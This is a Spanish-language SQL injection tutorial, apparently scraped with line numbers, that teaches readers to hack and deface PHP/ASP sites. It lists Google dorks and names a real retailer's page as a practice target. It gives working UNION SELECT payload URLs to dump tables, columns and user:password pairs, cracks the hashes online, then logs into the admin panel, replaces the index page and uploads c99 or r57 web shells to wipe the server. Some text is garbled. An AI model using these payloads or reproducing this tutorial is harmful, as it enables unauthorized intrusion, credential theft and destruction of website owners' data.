Está en la página 1de 14

1.

Tutorial Sql Injection By Lun4t1c0


2.
3.
4.
5. En Este Tutorial Aprenders a Defacear, hackear una pgina web Php,Cgi,Asp,Jsp.

para

poder cambiar su contenido o bien eliminar todo y dejar tu propio index..


6.
7.
8.
9. Qu es la inyeccin de SQL?
10.
11.
12.
13. Es un truco para injectar consultas sql / comando como entrada posiblemente
14.
15. a travs de pginas web. Muchas pginas web, podemos tomar los parametros
16.
17. de usuario de este, y hacer consultas sql a la base de datos. Tomemos por ejemplo,
18.
19. cuando una pgina contiene login o acceso a cuentas de usuario, podemos injectar
20.
21. codigos maliciosos sql para hackear al panel de administracin.
22.
23.
24.
25. Que debemos hacer para empezar?
26.
27.
28.
29. Primero tenemos que buscar una web que sea vulnerable podemos utilizar estos dorks
30.
31. para buscar en google..
32.
33.
34.
35. Qu es un Dork?
36.
37.
38.
39. Un dork es un metodo rpido para encontrar pginas con los datos que nosotros queramos
40.

41.
42.
43. Ejemplo www.tupagina.com/index.php?id=1
44.
45.
46.
47. Lo que hace el dork es buscar /index.php?id=1 de todas las pginas de la red..
48.
49.
50.
51. Puedes buscar de esta manera : inurl:index.php?id=1 ( esto es en una url)
52.
53. o bien buscar de esta otra: allinurl:index.php?id=1 ( esto busca en todas las url)
54.
55.
56.
57. Dorks Comnmente Buscadas (Esto es segun tu imaginacin)
58.
59.
60.
61. inurl:index.php?id=
62.
63. inurl:trainers.php?id=
64.
65. inurl:buy.php?category=
66.
67. inurl:article.php?ID=
68.
69. inurllay_old.php?id=
70.
71. inurl:declaration_more.php?decl_id=
72.
73. inurlageid=
74.
75. inurl:games.php?id=
76.
77. inurlage.php?file=
78.
79. inurl:newsDetail.php?id=
80.
81. inurl:gallery.php?id=

82.
83. inurl:article.php?id=
84.
85. inurl:show.php?id=
86.
87. inurl:staff_id=
88.
89.
90.
91.
92.
93. Si necesitan una pgina para prcticar est injeccin aqu tienen una
94.
95. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------96.
97. www.bershka.com/coleccion-galeria.php?id=4
98.
99. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------100.
101.

PRIMER PASO:

102.
103.
104.
105.

Ahora bien encuentras una pgina vulnerable y quieres hackearla

106.
107.

ej de pgina: www.lol.com/index.php?id=1

108.
109.
110.
111.

Bien para comprobar que sea una seccin vulnerable utilizamos este query a la Base

De Datos:
112.
113.
114.
115.

and 1=0 (corresponde a un valor falso)

116.
117.
118.
119.

and 1=1 (corresponde a un valor verdadero)

120.
121.

Ejemplo de and 1=0 :

Cuando inyectas este valor la pgina deber verse con error

o bien
122.
123.

no se mostrara el contenido completo

ejemplo www.lol.com/index.php?id=1+and+1=0

124.
125.
126.
127.

Ejemplo de and 1=1 : Cuando inyectas este valor la pgina deber verse completa

sin ningn error


128.
129.
130.
131.

----------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------132.
133.
134.
135.

*Nota: Los "+" pueden ser sustituidos por espacios o por su valor hexadecimal:

"%20"
136.
137.
138.
139.

----------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------140.
141.

SEGUNDO PASO:

142.
143.
144.
145.

Bien la pgina es totalmente vulnerable ahora toca sacar el nmero de las columnas

lo cul sera de la siguiente manera:


146.
147.

iremos probando cuantas columnas posee la base de datos con el cdigo

and+1=1+order+by+
148.
149.
150.
151.

si se muestra la pgina entonces es que tiene una o ms columnas...

152.
153.
154.
155.

www.lol.com/index.php?id=1+and+1=0+order+by+1

156.
157.
158.
159.

Si se muestra la web entonces tiene una o ms columnas; para probar si tiene 2

columnas se quita el 1 y se pone un 2...


160.
161.
162.
163.

www.lol.com/index.php?id=1+and+1=0+order+by+2

164.
165.
166.
167.
que

En ocasiones tiene 50 o

ms columnas entonces para ahorrarnos tiempo lo

podemos

168.
169.

hacer es probar hasta la columna 15 o 20 y si no nos muestra nada es que nos hemos

pasado!!! Pero si an nos muestra la pgina normalmente entonces es que tiene esas o ms
columnas, por ejemplo de la columna 2 nos cambiamos a la 20 por decir un nmero...
170.
171.
172.
173.

www.lol.com/index.php?id=1+and+1=0+order+by+20

( Este es un ejemplo en las

pginas que buscars pueden tener mas columnas, supongamos que esta pgina tiene 20
columnas)
174.
175.
176.
177.

Bueno ahora sigue unir todas las 20 columnas... como???

178.
179.

Bueno en este momento ya cambia la consulta por lo siguiente:

180.
181.
182.
183.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,

14,15,16,17,18,19,20
184.
185.

186.
187.

Bueno aqu nos mensionar las columnas vulnerables de la base de datos, en

cualquier parte de la pgina te mostrara nmeros


188.
189.

que pueden salir asi

190.
191.
192.
193.

194.
195.

2,4,6

196.
197.
198.
199.

Para saber lo que queremos ser sustituyendo el 2 por el cdigo en

200.
201.

Sql como lo hemos Hecho hasta ahora por ejemplo si queremos saber la versin de la

Base de datos sera el query "version()"


202.
203.

o para saber el nombre de usuario user()

204.
205.

y para saber el nombre de la base de datos

usaremos

database()

206.
207.
208.
209.

----------------------------------------------------------------------------------

----------------------------------------------------------------------------------------------------------210.
211.
212.
213.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,1

1,12,13,14,15,16,17,18,19,20
214.
215.
216.
217.

Ahora te saldr un mensaje asi:

5.1.37

218.
219.
220.

para las versiones 5xx.. podemos usar la siquiente query:

information_schema

221.

en versiones 4xx no podemos usar information_schema ah ya cambia toda la

inyeccion y es mucho ms difcil


222.
223.
224.
225.

ahora bien supongamos que tenemos una version 5xx

226.
227.
228.
229.

Algunos comandos que nos servirn para MySql 5.x.x.x como es "group_concat()" (que

significa concatenar grupo) ya que nos ahorraremos la pena de estar poniendo un limit y
ver una por una cada tabla entonces lo que
230.
231.

haremos ser poner en la columna 2 el query y quedara as:

232.
233.
234.
235.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(1),3,4,5,6,7,8,

9,10,11,12,13,14,15,16,17,18,19,20
236.
237.
238.
239.

Como vemos abajo nos a puesto un "1" bueno el query se pude explotar mas!!! ;)

Bueno ahora toca decirle a la web que nos muestre por favor todas las tablas de la base de
datos... :P cmo? pues con la siguiente query:
240.
241.
242.
243.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(table_name),3,4

,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.tables-244.
245.
246.
247.

Que le pedimos? pues que concatene todo desde information_schema.tables *Nota:

Para esto es el
248.
249.

from para decirle a la base de datos que tabla va a agarrar los datos*

250.
251.

Es importante recordar que si la web nos muestra la tabla en minsculas o

maysculas hay que respetarlas porque no


252.

253.

cargara bien si no lo hacemos* ahora vamos a consultar las columnas de la

siguiente forma:
254.
255.
256.
257.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(column_name),3,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.columns-258.
259.
260.
261.

ahora nos mostrar las tablas que posee la base de datos puede ser de esta manera.

(ej:)
262.
263.

contenido,fotos,videos,textos,usuarios,procesos

264.
265.
266.
267.

si Tiene la tabla USUARIOS,USERS,ADMIN ->

eso signica que podemos sacar el nombre

y contrasea para acceder al panel de administracin


268.
269.
270.
271.

Lo que le pedimos a la web es que concatene las columnas desde las columnas valga

la redundancia donde
272.
273.

la tabla es "usuarios"

274.
275.
276.
277.

Y nos dar el nombre de las columnas las que nos interesan son:

nombre,email,password!!! genial ahora solo toca


278.
279.

pedirle a la web que nos de el contenido de ellas... como? pues con la siguiente

query:
280.
281.
282.
283.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(nombre,0x3a,pas

sword),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+usuarios
284.
285.

286.
287.

qu es 0x3a?

te dar un ejemplo:

288.
289.
290.
291.

El 0x3a concatena la columna "nombre" y la columna "password" separando los datos

por un ":"
292.
293.

pero convertido a hexadecimal lo que pasa es que ":" en hexa es: "3a"

294.
295.
296.
297.

ejemplo: carlos:123456

298.
299.
300.
301.

en ocaciones te podrs encontrar con contraseas llamadas (HASH) que pueden estr

en formatos md5,sha1,md4, etc


302.
303.
304.
305.

ejemplo:

Carlos:5a4sd13115437456g1321casd

306.
307.
308.
309.

5a4sd13115437456g1321casd ( es el hash (contrasea))

para saber lo que posee

podemos Decencryptarla
310.
311.

con una pgina online ( esta es muy buena )

www.hashchecker.de/find.html

312.
313.
314.
315.

bien pasamos a el "from+usuarios" aqu ya sabemos lo que le pedimos... :P bien ah

estn nuestros tan anhelados datos!!! jejeje solo resta encontrar el panel de admin para
acceder con los datos.
316.
317.
318.
319.
320.
321.

NOTA* hay veces en que cuando inyectamos esta query:

322.
323.
324.
325.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(column_name),3,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.columns
326.
327.
328.
329.

No nos muestra nada que podamos aprovechar ej : usuarios, admin

330.
331.
332.
333.

Qu Hacer en ese caso?

334.
335.
336.
337.

la pgina puede tener 1 o ms bases de datos podemos verlas todas con el siquiente

query:
338.
339.
340.
341.

y para ver el nombre de todas las bases de datos que posee la pgina se usa

342.
343.
344.
345.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(schema_name),3,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+
346.
347.

information_schema.schemata

348.
349.
350.
351.
352.
353.

supongamos que tiene ests databases:

information_schema , acceso , datos

354.
355.
356.
357.
358.
359.

para acceder a una de ellas necesitamos el siguiente query:

360.
361.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(column_name),3,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+
362.
363.

information_schema.columns+where+table_schema=char()

364.
365.
366.
367.

supongamos que queremos abrir la base de datos (acceso)

368.
369.
370.
371.

podemos convertir el nombre "acceso" en formato ascii o en hex, bien usaremos

ascii
372.
373.
374.
375.

un buen convertidor de ascii es

(TEXT TO ASCII)

376.
377.
378.
379.

"acceso" en ascii es : 97,99,99,101,115,111

380.
381.
382.
383.

esta es la query que agregaremos:

384.
385.
386.
387.

www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(column_name),3,

4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+
388.
389.

information_schema.columns+where+table_schema=char(97,99,99,101,115,111)

390.
391.
392.
393.
394.
395.
396.

y nos mostrara el contenido de la base de datos (ACCESO)

397.

----------------------------------------------------------------------------------

---------------------------------------------------------------------------------------------------------------------------------------------------------------398.
399.
400.
401.
402.
403.

Bien ya tenemos nuestro querido nombre y contrasea :)

404.
405.

ahora nos queda encontrar el panel de administracin: casi siempre est en algn

lado de la pgina
406.
407.

con nombres como : Instranet,acceso usuarios,admin,login, etc.

408.
409.
410.
411.

Ahora supongamos que encontramos el panel que es el siguiente como ejemplo

412.
413.
414.
415.

www.lol.com/admin.php

416.
417.
418.
419.

nos logeamos con los datos que sacamos resientemente de la base de datos y nos

logeamos
420.
421.
422.
423.

dentro de este sitio (panel de administracin)

424.
425.
426.
427.

podremos encontrar muchas cosas tales como: borrar editar o reemplazar, o subir

datos a la web
428.
429.
430.
431.

si buscamos y buscamos podemos editar el index.php y podremos editarlo a nuestra

manera :)

432.
433.
434.
435.

eliminas todo lo dems y dejas tu propioo index.php,index.asp,index.html o como

quieras
436.
437.
438.
439.

as dejars una huella en la pgina y ser tuya :)

440.
441.
442.
443.

pero lo mejor que podemos hacer :

444.
445.
446.
447.

es subir una SHELL

como: r57,c99

448.
449.
450.
451.

te recomiendo descargar la c99

452.
453.
454.
455.

una vez que la tenemos la subimos a la pgina mediante el upload que tiene

456.
457.
458.
459.

ahora bien los archivos se subiran en el directorio

460.
461.
462.
463.

para abrir la c99 deberemos abrirla as

464.
465.
466.
467.
468.
469.
470.
471.

www.lol.com/upload/c99.php

/upload/

472.
473.

con la c99 podremos tener acceso a todo el computador y eliminarle absolutamente

todo :)
474.
475.
476.
477.
478.
479.

----------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------------------------------------------------------------